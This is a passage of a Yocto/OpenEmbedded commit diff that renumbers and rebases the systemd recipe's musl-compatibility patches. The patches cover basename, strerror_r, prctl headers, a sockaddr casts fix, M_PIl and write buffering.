-- if (faccessat(fd, s, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
-+ if (faccessat(fd, s, F_OK, 0) < 0)
- continue;
-
- /* check if a specific file exists at the target path */
-@@ -73,7 +73,7 @@ int base_filesystem_create(const char *r
- if (!p)
- return log_oom();
-
-- if (faccessat(fd, p, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
-+ if (faccessat(fd, p, F_OK, 0) < 0)
- continue;
- }
-
diff --git a/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch b/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch
deleted file mode 100644
index 67d5041917..0000000000
--- a/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ec335ef3bb903a7eaf054103cc51411e71e6448c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 27 May 2018 08:36:44 -0700
-Subject: [PATCH] Define glibc compatible basename() for non-glibc systems
-
-Fixes builds with musl, even though systemd is adamant about
-using non-posix basename implementation, we have a way out
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- src/machine/machine-dbus.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-Index: systemd-stable/src/machine/machine-dbus.c
-===================================================================
---- systemd-stable.orig/src/machine/machine-dbus.c
-+++ systemd-stable/src/machine/machine-dbus.c
-@@ -11,6 +11,11 @@
- #include <libgen.h>
- #undef basename
-
-+#if !defined(__GLIBC__)
-+#include <string.h>
-+#define basename(src) (strrchr(src,'/') ? strrchr(src,'/')+1 : src)
-+#endif
-+
- #include "alloc-util.h"
- #include "bus-common-errors.h"
- #include "bus-get-properties.h"
diff --git a/meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch b/meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
new file mode 100644
index 0000000000..e6507c5f89
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
@@ -0,0 +1,33 @@
+From e7441559266074e7a33e3c11ff5cdaf5ba9c0e24 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:18:00 +0800
+Subject: [PATCH] Hide __start_BUS_ERROR_MAP and __stop_BUS_ERROR_MAP
+
+for currently unknown reasons they get exported to the shared libries
+even without being listed in the sym file
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+[Rebased for v241]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/libsystemd/sd-bus/bus-error.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
+index c49be29e46..90731bd7e7 100644
+--- a/src/libsystemd/sd-bus/bus-error.c
++++ b/src/libsystemd/sd-bus/bus-error.c
+@@ -55,8 +55,8 @@ BUS_ERROR_MAP_ELF_REGISTER const sd_bus_error_map bus_standard_errors[] = {
+ };
+
+ /* GCC maps this magically to the beginning and end of the BUS_ERROR_MAP section */
+-extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[];
+-extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[];
++extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
++extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
+
+ /* Additional maps registered with sd_bus_error_add_map() are in this
+ * NULL terminated array */
diff --git a/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch b/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
deleted file mode 100644
index 3d456ec83a..0000000000
--- a/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From bb28a9c870bb47dcdb1ccebaa8e3a5a86730a244 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 4 Jul 2018 15:00:44 +0800
-Subject: [PATCH] Do not disable buffering when writing to oom_score_adj
-
-On musl, disabling buffering when writing to oom_score_adj will
-cause the following error.
-
- Failed to adjust OOM setting: Invalid argument
-
-This error appears for systemd-udevd.service and dbus.service.
-This is because kernel receives '-' instead of the whole '-900'
-if buffering is disabled.
-
-This is libc implementation specific, as glibc does not have this issue.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/process-util.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: systemd-stable/src/basic/process-util.c
-===================================================================
---- systemd-stable.orig/src/basic/process-util.c
-+++ systemd-stable/src/basic/process-util.c
-@@ -1536,7 +1536,7 @@ int set_oom_score_adjust(int value) {
- sprintf(t, "%i", value);
-
- return write_string_file("/proc/self/oom_score_adj", t,
-- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
-+ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
- }
-
- int pidfd_get_pid(int fd, pid_t *ret) {
diff --git a/meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch b/meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch
new file mode 100644
index 0000000000..eeff693bc4
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch
@@ -0,0 +1,28 @@
+From 64f4d2eb976b9f23ce85b3655a876f7299eafd58 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:27:54 +0800
+Subject: [PATCH] missing_type.h: add __compar_d_fn_t definition
+
+Fix the following compile failure:
+src/basic/util.h:71:18: error: unknown type name '__compar_d_fn_t'; did you mean '__compar_fn_t'?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/missing_type.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
+index 3df1084ef2..697aa7f58a 100644
+--- a/src/basic/missing_type.h
++++ b/src/basic/missing_type.h
+@@ -13,6 +13,7 @@
+
+ #ifndef __GLIBC__
+ typedef int (*comparison_fn_t)(const void *, const void *);
++typedef int (*__compar_d_fn_t) (const void *, const void *, void *);
+ #endif
+
+ #ifndef __COMPAR_FN_T
diff --git a/meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch b/meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch
new file mode 100644
index 0000000000..5ca5386289
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch
@@ -0,0 +1,30 @@
+From d95330f328c23c1cd6c51aeca43f081746cf2899 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:44:54 +0800
+Subject: [PATCH] avoid redefinition of prctl_mm_map structure
+
+Fix the following compile failure:
+error: redefinition of 'struct prctl_mm_map'
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/missing_prctl.h | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/basic/missing_prctl.h b/src/basic/missing_prctl.h
+index ab851306ba..5547cad875 100644
+--- a/src/basic/missing_prctl.h
++++ b/src/basic/missing_prctl.h
+@@ -1,7 +1,9 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+ #pragma once
+
++#ifdef __GLIBC__
+ #include <linux/prctl.h>
++#endif
+
+ /* 58319057b7847667f0c9585b9de0e8932b0fdb08 (4.3) */
+ #ifndef PR_CAP_AMBIENT
diff --git a/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch b/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
deleted file mode 100644
index 48fd007e11..0000000000
--- a/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 4938705454cf46cfe8deac8ce457d5d2432cbead Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 10 Jul 2018 15:40:17 +0800
-Subject: [PATCH] distinguish XSI-compliant strerror_r from GNU-specifi
- strerror_r
-
-XSI-compliant strerror_r and GNU-specifi strerror_r are different.
-
- int strerror_r(int errnum, char *buf, size_t buflen);
- /* XSI-compliant */
-
- char *strerror_r(int errnum, char *buf, size_t buflen);
- /* GNU-specific */
-
-We need to distinguish between them. Otherwise, we'll get an int value
-assigned to (char *) variable, resulting in segment fault.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/journal/journal-send.c | 5 +++++
- src/libsystemd/sd-bus/bus-error.c | 5 +++++
- 2 files changed, 10 insertions(+)
-
-Index: systemd-stable/src/journal/journal-send.c
-===================================================================
---- systemd-stable.orig/src/journal/journal-send.c
-+++ systemd-stable/src/journal/journal-send.c
-@@ -348,7 +348,12 @@ static int fill_iovec_perror_and_send(co
- char* j;
-
- errno = 0;
-+#ifndef __GLIBC__
-+ strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
-+ j = buffer + 8 + k;
-+#else
- j = strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
-+#endif
- if (errno == 0) {
- char error[STRLEN("ERRNO=") + DECIMAL_STR_MAX(int) + 1];
-
-Index: systemd-stable/src/libsystemd/sd-bus/bus-error.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-bus/bus-error.c
-+++ systemd-stable/src/libsystemd/sd-bus/bus-error.c
-@@ -379,7 +379,12 @@ static void bus_error_strerror(sd_bus_er
- return;
-
- errno = 0;
-+#ifndef __GLIBC__
-+ strerror_r(error, m, k);
-+ x = m;
-+#else
- x = strerror_r(error, m, k);
-+#endif
- if (errno == ERANGE || strlen(x) >= k - 1) {
- free(m);
- k *= 2;
diff --git a/meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch b/meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch
new file mode 100644
index 0000000000..d51ac4265a
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch
@@ -0,0 +1,24 @@
+From 2284f2f44b1b30f10b9196e0f5c6d0a2e0c1871f Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Fri, 7 Aug 2020 15:19:27 +0000
+Subject: [PATCH] Handle missing LOCK_EX
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
+---
+ src/partition/makefs.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/partition/makefs.c b/src/partition/makefs.c
+index 7c94fbfedb..42f966722d 100644
+--- a/src/partition/makefs.c
++++ b/src/partition/makefs.c
+@@ -6,6 +6,7 @@
+ #include <sys/stat.h>
+ #include <sys/types.h>
+ #include <unistd.h>
++#include <sys/file.h>
+
+ #include "alloc-util.h"
+ #include "blockdev-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch b/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
deleted file mode 100644
index 3b8064677f..0000000000
--- a/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 1c4c73a7cc0fb59eb68ab70699f7f51af5c163b2 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:18:00 +0800
-Subject: [PATCH] Hide __start_BUS_ERROR_MAP and __stop_BUS_ERROR_MAP
-
-for currently unknown reasons they get exported to the shared libries
-even without being listed in the sym file
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/libsystemd/sd-bus/bus-error.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
-index 28a5159c4480..962a4de10c56 100644
---- a/src/libsystemd/sd-bus/bus-error.c
-+++ b/src/libsystemd/sd-bus/bus-error.c
-@@ -54,8 +54,8 @@ BUS_ERROR_MAP_ELF_REGISTER const sd_bus_error_map bus_standard_errors[] = {
- };
-
- /* GCC maps this magically to the beginning and end of the BUS_ERROR_MAP section */
--extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[];
--extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[];
-+extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
-+extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
-
- /* Additional maps registered with sd_bus_error_add_map() are in this
- * NULL terminated array */
diff --git a/meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch b/meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
new file mode 100644
index 0000000000..2d272ed3e8
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
@@ -0,0 +1,38 @@
+From a6a25e1ecae91f48a4f87bf0cc17eaaf0a919ffe Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Fri, 7 Aug 2020 15:20:17 +0000
+Subject: [PATCH] Fix incompatible pointer type struct sockaddr_un *
+
+| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c: In function 'cant_be_in_netns':
+| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:4893:25: error: passing argument 2 of 'connect' from incompatible pointer type [-Werror=incompatible-pointer-types]
+| 4893 | if (connect(fd, &sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
+| | ^~~~~~
+| | |
+| | struct sockaddr_un *
+| In file included from ../../../../../../workspace/sources/systemd/src/systemd/sd-daemon.h:22,
+| from ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:21:
+| /home/ubuntu/poky/build/tmp/work/core2-64-poky-linux-musl/systemd/1_246-r0/recipe-sysroot/usr/include/sys/socket.h:384:19: note: expected 'const struct sockaddr *' but argument is of type 'struct sockaddr_un *'
+| 384 | int connect (int, const struct sockaddr *, socklen_t);
+| | ^~~~~~~~~~~~~~~~~~~~~~~
+| cc1: some warnings being treated as errors
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
+---
+ src/nspawn/nspawn.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
+index 575b9da447..ff08ed23cc 100644
+--- a/src/nspawn/nspawn.c
++++ b/src/nspawn/nspawn.c
+@@ -5354,7 +5354,7 @@ static int cant_be_in_netns(void) {
+ if (fd < 0)
+ return log_error_errno(errno, "Failed to allocate udev control socket: %m");
+
+- if (connect(fd, &sa.sa, SOCKADDR_UN_LEN(sa.un)) < 0) {
++ if (connect(fd, (struct sockaddr *)&sa.sa, SOCKADDR_UN_LEN(sa.un)) < 0) {
+
+ if (errno == ENOENT || ERRNO_IS_DISCONNECT(errno))
+ return log_error_errno(SYNTHETIC_ERRNO(EOPNOTSUPP),
diff --git a/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch b/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch
deleted file mode 100644
index db4041bbb1..0000000000
--- a/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8303d49cabaf3ab8890ba1d266972c721dfe6ee8 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:27:54 +0800
-Subject: [PATCH] missing_type.h: add __compar_d_fn_t definition
-
-Fix the following compile failure:
-src/basic/util.h:71:18: error: unknown type name '__compar_d_fn_t'; did you mean '__compar_fn_t'?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/missing_type.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index 23602ebbd533..917d314a81bf 100644
---- a/src/basic/missing_type.h
-+++ b/src/basic/missing_type.h
-@@ -13,6 +13,7 @@
-
- #ifndef __GLIBC__
- typedef int (*comparison_fn_t)(const void *, const void *);
-+typedef int (*__compar_d_fn_t) (const void *, const void *, void *);
- #endif
-
- #ifndef __COMPAR_FN_T
diff --git a/meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch b/meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch
deleted file mode 100644
index 67d9162c08..0000000000
--- a/meta/recipes-core/systemd/systemd/0021-Handle-missing-LOCK_EX.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-From 190854c2114dc6e74c8859dc251e3737e3c0f353 Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Fri, 7 Aug 2020 15:19:27 +0000
-Subject: [PATCH] Handle missing LOCK_EX
-
-Upstream-Status: Inappropriate [musl specific]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/partition/makefs.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/src/partition/makefs.c b/src/partition/makefs.c
-index 97f50c9033..7f55acd229 100644
---- a/src/partition/makefs.c
-+++ b/src/partition/makefs.c
-@@ -5,6 +5,7 @@
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <unistd.h>
-+#include <sys/file.h>
-
- #include "alloc-util.h"
- #include "blockdev-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch b/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch
deleted file mode 100644
index 7dacc36837..0000000000
--- a/meta/recipes-core/systemd/systemd/0021-avoid-redefinition-of-prctl_mm_map-structure.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 6364ff5534678c158a7fb8d4e50d0a6ce72c1ad8 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:44:54 +0800
-Subject: [PATCH] avoid redefinition of prctl_mm_map structure
-
-Fix the following compile failure:
-error: redefinition of 'struct prctl_mm_map'
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/basic/missing_prctl.h | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/src/basic/missing_prctl.h b/src/basic/missing_prctl.h
-index f80cd17f346b..47e489354053 100644
---- a/src/basic/missing_prctl.h
-+++ b/src/basic/missing_prctl.h
-@@ -1,7 +1,9 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
- #pragma once
-
-+#ifdef __GLIBC__
- #include <linux/prctl.h>
-+#endif
-
- /* 58319057b7847667f0c9585b9de0e8932b0fdb08 (4.3) */
- #ifndef PR_CAP_AMBIENT
diff --git a/meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch b/meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch
new file mode 100644
index 0000000000..3fe5aeab13
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0021-test-json.c-define-M_PIl.patch
@@ -0,0 +1,31 @@
+From 47472da6e8900773c26da8fd26699367447d97a6 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 16:53:06 +0800
+Subject: [PATCH] test-json.c: define M_PIl
+
+Fix the following compile failure:
+src/test/test-json.c:305:50: error: 'M_PIl' undeclared (first use in this function); did you mean 'M_PI'?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/test/test-json.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/src/test/test-json.c b/src/test/test-json.c
+index 1d4b11945e..572c8cf9d0 100644
+--- a/src/test/test-json.c
++++ b/src/test/test-json.c
+@@ -13,6 +13,10 @@
+ #include "tests.h"
+ #include "util.h"
+
++#ifndef M_PIl
++#define M_PIl 3.141592653589793238462643383279502884L
++#endif
++
+ static void test_tokenizer(const char *data, ...) {
+ unsigned line = 0, column = 0;
+ void *state = NULL;
diff --git a/meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch b/meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
deleted file mode 100644
index d57ca1fd39..0000000000
--- a/meta/recipes-core/systemd/systemd/0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 328c39fae2631deb5737dd56f46159dd6b4cdbed Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Fri, 7 Aug 2020 15:20:17 +0000
-Subject: [PATCH] Fix incompatible pointer type struct sockaddr_un *
-
-| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c: In function 'cant_be_in_netns':
-| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:4893:25: error: passing argument 2 of 'connect' from incompatible pointer type [-Werror=incompatible-pointer-types]
-| 4893 | if (connect(fd, &sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
-| | ^~~~~~
-| | |
-| | struct sockaddr_un *
-| In file included from ../../../../../../workspace/sources/systemd/src/systemd/sd-daemon.h:22,
-| from ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:21:
-| /home/ubuntu/poky/build/tmp/work/core2-64-poky-linux-musl/systemd/1_246-r0/recipe-sysroot/usr/include/sys/socket.h:384:19: note: expected 'const struct sockaddr *' but argument is of type 'struct sockaddr_un *'
-| 384 | int connect (int, const struct sockaddr *, socklen_t);
-| | ^~~~~~~~~~~~~~~~~~~~~~~
-| cc1: some warnings being treated as errors
-
-Upstream-Status: Inappropriate [musl specific]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/nspawn/nspawn.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/nspawn/nspawn.c b/src/nspawn/nspawn.c
-index 0450c9f795..7305db04ef 100644
---- a/src/nspawn/nspawn.c
-+++ b/src/nspawn/nspawn.c
-@@ -4890,7 +4890,7 @@ static int cant_be_in_netns(void) {
- if (fd < 0)
- return log_error_errno(errno, "Failed to allocate udev control socket: %m");
-
-- if (connect(fd, &sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
-+ if (connect(fd, (struct sockaddr *)&sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
-
- if (errno == ENOENT || ERRNO_IS_DISCONNECT(errno))
- return log_error_errno(SYNTHETIC_ERRNO(EOPNOTSUPP),
diff --git a/meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch b/meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch
new file mode 100644
index 0000000000..4df35d81d1
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0022-do-not-disable-buffer-in-writing-files.patch
@@ -0,0 +1,392 @@
+From 0f9422780a569c79a4b28e44c79c70b4a354bd92 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Fri, 1 Mar 2019 15:22:15 +0800
+Subject: [PATCH] do not disable buffer in writing files
+
+Do not disable buffer in writing files, otherwise we get
+failure at boot for musl like below.
+
+ [!!!!!!] Failed to allocate manager object.
+
+And there will be other failures, critical or not critical.
+This is specific to musl.
+
+Upstream-Status: Inappropriate [musl]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[Rebased for v242]
+Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/basic/cgroup-util.c | 10 +++++-----
+ src/basic/procfs-util.c | 4 ++--
+ src/basic/sysctl-util.c | 2 +-
+ src/basic/util.c | 2 +-
+ src/binfmt/binfmt.c | 6 +++---
+ src/core/main.c | 4 ++--
+ src/core/smack-setup.c | 8 ++++----
+ src/hibernate-resume/hibernate-resume.c | 2 +-
+ src/libsystemd/sd-device/sd-device.c | 2 +-
+ src/nspawn/nspawn-cgroup.c | 2 +-
+ src/nspawn/nspawn.c | 6 +++---
+ src/shared/cgroup-setup.c | 4 ++--
+ src/shared/mount-util.c | 4 ++--
+ src/shared/smack-util.c | 2 +-
+ src/sleep/sleep.c | 8 ++++----
+ src/vconsole/vconsole-setup.c | 2 +-
+ 16 files changed, 34 insertions(+), 34 deletions(-)
+
+diff --git a/src/basic/cgroup-util.c b/src/basic/cgroup-util.c
+index c9efd862a2..b3708ea925 100644
+--- a/src/basic/cgroup-util.c
++++ b/src/basic/cgroup-util.c
+@@ -766,7 +766,7 @@ int cg_install_release_agent(const char *controller, const char *agent) {
+
+ sc = strstrip(contents);
+ if (isempty(sc)) {
+- r = write_string_file(fs, agent, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, agent, 0);
+ if (r < 0)
+ return r;
+ } else if (!path_equal(sc, agent))
+@@ -784,7 +784,7 @@ int cg_install_release_agent(const char *controller, const char *agent) {
+
+ sc = strstrip(contents);
+ if (streq(sc, "0")) {
+- r = write_string_file(fs, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "1", 0);
+ if (r < 0)
+ return r;
+
+@@ -811,7 +811,7 @@ int cg_uninstall_release_agent(const char *controller) {
+ if (r < 0)
+ return r;
+
+- r = write_string_file(fs, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "0", 0);
+ if (r < 0)
+ return r;
+
+@@ -821,7 +821,7 @@ int cg_uninstall_release_agent(const char *controller) {
+ if (r < 0)
+ return r;
+
+- r = write_string_file(fs, "", WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file(fs, "", 0);
+ if (r < 0)
+ return r;
+
+@@ -1651,7 +1651,7 @@ int cg_set_attribute(const char *controller, const char *path, const char *attri
+ if (r < 0)
+ return r;
+
+- return write_string_file(p, value, WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(p, value, 0);
+ }
+
+ int cg_get_attribute(const char *controller, const char *path, const char *attribute, char **ret) {
+diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
+index 8c57094225..0cf6ec752b 100644
+--- a/src/basic/procfs-util.c
++++ b/src/basic/procfs-util.c
+@@ -86,13 +86,13 @@ int procfs_tasks_set_limit(uint64_t limit) {
+ * decrease it, as threads-max is the much more relevant sysctl. */
+ if (limit > pid_max-1) {
+ sprintf(buffer, "%" PRIu64, limit+1); /* Add one, since PID 0 is not a valid PID */
+- r = write_string_file("/proc/sys/kernel/pid_max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/pid_max", buffer, 0);
+ if (r < 0)
+ return r;
+ }
+
+ sprintf(buffer, "%" PRIu64, limit);
+- r = write_string_file("/proc/sys/kernel/threads-max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
++ r = write_string_file("/proc/sys/kernel/threads-max", buffer, 0);
+ if (r < 0) {
+ uint64_t threads_max;
+
+diff --git a/src/basic/sysctl-util.c b/src/basic/sysctl-util.c
+index 8913e6ff85..29e6ec0755 100644
+--- a/src/basic/sysctl-util.c
++++ b/src/basic/sysctl-util.c
+@@ -93,7 +93,7 @@ int sysctl_write_ip_property(int af, const char *ifname, const char *property, c
+
+ log_debug("Setting '%s' to '%s'", p, value);
+
+- return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_DISABLE_BUFFER);
++ return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | 0);
+ }
+
+ int sysctl_read(const char *property, char **ret) {
+diff --git a/src/basic/util.c b/src/basic/util.c
+index 955b18bd2a..6d89c90176 100644
+--- a/src/basic/util.c
++++ b/src/basic/util.c
+@@ -234,7 +234,7 @@ void disable_coredumps(void) {
+ if (detect_container() > 0)
+ return;
+
